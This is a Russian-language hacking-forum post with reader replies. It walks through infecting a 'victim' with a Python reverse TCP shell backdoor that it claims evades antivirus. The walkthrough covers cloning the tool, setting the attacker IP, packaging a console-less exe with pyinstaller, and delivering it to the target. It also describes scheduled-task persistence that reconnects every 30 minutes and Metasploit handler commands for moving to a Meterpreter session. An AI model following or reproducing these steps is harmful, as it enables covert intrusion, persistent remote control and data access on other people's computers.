Статья Обход антивируса (Reverse Python Shell) 100% FUD

Привет.С вами DarkNode )
Сегодня будем обходить антивирус через Python Reverse TCP Shell.
ТОЛЬКО ПОСЛЕ ПРОЧТЕНИЯ НЕ ВЗДУМАЙТЕ ***** СЛИВАТЬ БИНАРНИК НА ВТ (ВирусТотал)

Итак наткнулся на гитхабе на прикольную реалиазацию reverse_tcp_shell через планировщик задач с использованием XML темплейта)
Довольно таки прикольно имхо)

Состоит наш бэкдор опять же таки из двух частей:

Серверная часть:

• reverse_tcp.py - вредоносный питоновоский скрипт ,который запускается на стороне жертвы
• может быть упакован в "exe" файл используя pyinstaller

На windows машине , выполните команду:

pyinstaller --noconsole --onefile --icon=iconfile.ico reverse_tcp.py

для упаковки в бинарный файл.

listener.js
Простенький мультиклиентный листенер написанный на javascript(node.js)
Команды:
help
exit --- выйти из listener
list --- посмотреть список жертв
connect num --- подкючится к одной жертве
например 'connect 0' подключимся к жертве которая имеет идентификатор 0 в списке
schedule n_minutes --- Планировщик задач|schedule attack(только для Windows only), принудительно указать время каждого конекта к атакуемой машине через определенный интервал в минутах

Качаем:

git clone https://github.com/shd101wyy/Python_Reverse_TCP.git

How to Hack (для Windows)
1)Меняем переменную attacker_ip в reverse_tcp.py на ip address атакуещего.

2)Запускаем команду pyinstaller --noconsole --onefile reverse_tcp.py создаем reverse_tcp.exe

3)Парим бинарник жертве
4)Запускаем листенер командой nodejs listener.js и ждем конекта жертвы.

 

[MAdDog719]

schedule n_minutes --- Планировщик задач|schedule attack(только для Windows only), принудительно указать время каждого конекта к атакуемой машине через определенный интервал в минутах

скажи, пожалуйста, этот параметр нужно указывать в скрипте, или уже после того как получил сессию?

 

[<~DarkNode~>]

скажи, пожалуйста, этот параметр нужно указывать в скрипте, или уже после того как получил сессию?

Это команда непосредственно в консоли управления (после запуска nodejs listener.js и когда жертва заразилась) задает интервал каждого последующего подключения.
По умолчанию при запусуке вредоноса жертва будет подкючаться к тебе каждые 30 минут,так как это прописано в скрипте самом.Поэтому можно подредактировать скрипт под себя и опционально указать дефолтный интервал времени в reverse_tcp.py
В даном случае поищи функцию функцию generateSheduleTask()
В твоем случае просто можешь изменить в скрипте

xml.write(generateScheduleTask(30))

На

xml.write(generateScheduleTask(Нужный_Интервал_В_Минутах))

 

[MAdDog719]

Это команда непосредственно в консоли управления (после запуска nodejs listener.js и когда жертва заразилась) задает интервал каждого последующего подключения.
По умолчанию при запусуке вредоноса жертва будет подкючаться к тебе каждые 30 минут,так как это прописано в скрипте самом.Поэтому можно подредактировать скрипт под себя и опционально указать дефолтный интервал времени в reverse_tcp.py
В даном случае поищи функцию функцию generateSheduleTask()
В твоем случае просто можешь изменить в скрипте

xml.write(generateScheduleTask(30))

На

xml.write(generateScheduleTask(Нужный_Интервал_В_Минутах))

Понял, спасибо)

 

[MAdDog719]

чет не работает

 

[MAdDog719]

я так понял ошибка потому что не установлен PyCrypto, но при установке возникает новая ошибка

пока не знаю как побороть проблему

 

[MAdDog719]

решил проблему установив Python 2.7 =)

 

[MAdDog719]

При попытке получить сессию через msfconsole, вылетает ошибка на стороне жертвы

 

[<~DarkNode~>]

Метасплоит же не нужен тут...

При попытке получить сессию через msfconsole, вылетает ошибка на стороне жертвы

для этого есть listener.js

 

[MAdDog719]

Подскажите в какой процес оно прячется?? Каждые 30 мин вылетает ошибка такая как на скрине 3. Уже и перезагружался не помогает.

 

[<~DarkNode~>]

Ошибка вылетает потому что листенер не запущен на стороне атакуещего...

А посмотреть и удалить процес можно в планировщике заданий
Выполнить команду на виндоус машине:
Пуск--->Выполнить--->taskschd.msc

 

[MAdDog719]

Метасплоит же не нужен тут...


для этого есть listener.js

как бы да, но по моему у метасплоит куда больше возможностей, нежели у listener.js, хотя может я не разобрался как с ним работать, но пока могу только лазать по папкам жертвы, возможно есть способ залить через него какой то бекдор?

 

[<~DarkNode~>]

Легко)

как бы да, но по моему у метасплоит куда больше возможностей, нежели у listener.js, хотя может я не разобрался как с ним работать, но пока могу только лазать по папкам жертвы, возможно есть способ залить через него какой то бекдор?

Вот написал как это очень легко делаться.
Получить метерпретер сессию

 

[MAdDog719]

Легко)

Вот написал как это очень легко делаться.
Получить метерпретер сессию

Огромное спасибо.

 

[Vander]

Хорошая статья, спасибо.

 

[Drupa]

Инструмент хороший, все очень легко настроилось, без всяких проблем. вот только не пойму чачем такой сложный процесс перехвата нельзя ли просто
exploit/multi/handler
payload windows/meterpreter/reverse_tcp
и все ?!

не каким образом нет нормально соединения к meterpreter засисает подключении и больше рукопожатие не происходит
как на скриншоте, значит только через listener.js возможно пользоваться

 

[<~DarkNode~>]

Инструмент хороший, все очень легко настроилось, без всяких проблем. вот только не пойму чачем такой сложный процесс перехвата нельзя ли просто
exploit/multi/handler
payload windows/meterpreter/reverse_tcp
и все ?!

не каким образом нет нормально соединения к meterpreter засисает подключении и больше рукопожатие не происходит
как на скриншоте, значит только через listener.js возможно пользоваться

Попробуй другой пейлоад:

 

[Drupa]

Попробуй другой пейлоад:
Посмотреть вложение 8233

Попробовал конект происходит и тут же отключается как видно на скришноше. Что можно придумать ?

ошибку я понял так : дисконект происходит потому, что exe отличается шифрованием поэтому этот пайлоад не может с ним работать. Если я не прав или что то не понимаю, прошу поправьте меня пожалуйста

 

[for(i=0;i<225;i++);]

Попробуй другой пейлоад:
Посмотреть вложение 8233

что это он мне пишет??? я не могу понять инструкцию я выполняю комаеду---
root@DDoS:~# git clone https://github.com/shd101wyy/Python_Reverse_TCP.git
Клонирование в «Python_Reverse_TCP»…
fatal: unable to access 'https://github.com/shd101wyy/Python_Reverse_TCP.git/': Received HTTP code 503 from proxy after CONNECT

Могу ли я упаковать в exe на linux kali машине???

 

[ghostphisher]

Received HTTP code 503 from proxy after CONNECT

Вот Вам же пишет система в чем проблема, не можете настроить связь через ТОР или прокси для всей системы - учите или качайте архивом через кнопку Download через браузер